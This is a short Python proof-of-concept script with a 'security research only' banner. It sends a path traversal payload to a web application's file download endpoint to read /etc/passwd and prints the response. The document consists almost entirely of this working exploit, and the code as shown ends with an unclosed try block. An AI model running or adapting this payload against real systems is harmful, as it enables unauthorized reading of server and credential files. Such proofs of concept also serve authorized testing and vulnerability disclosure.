⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Example)
target = "http://localhost:8080/tool/download"

# Payload using path traversal to read /etc/passwd
# Note: The exact endpoint path may vary based on routing configuration
params = {
    "fileName": "../../../../../etc/passwd"
}

try:
    response = requests.get(target, params=params, timeout=10)
    if response.status_code == 200:
        print("[+] PoC executed successfully. Response:")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
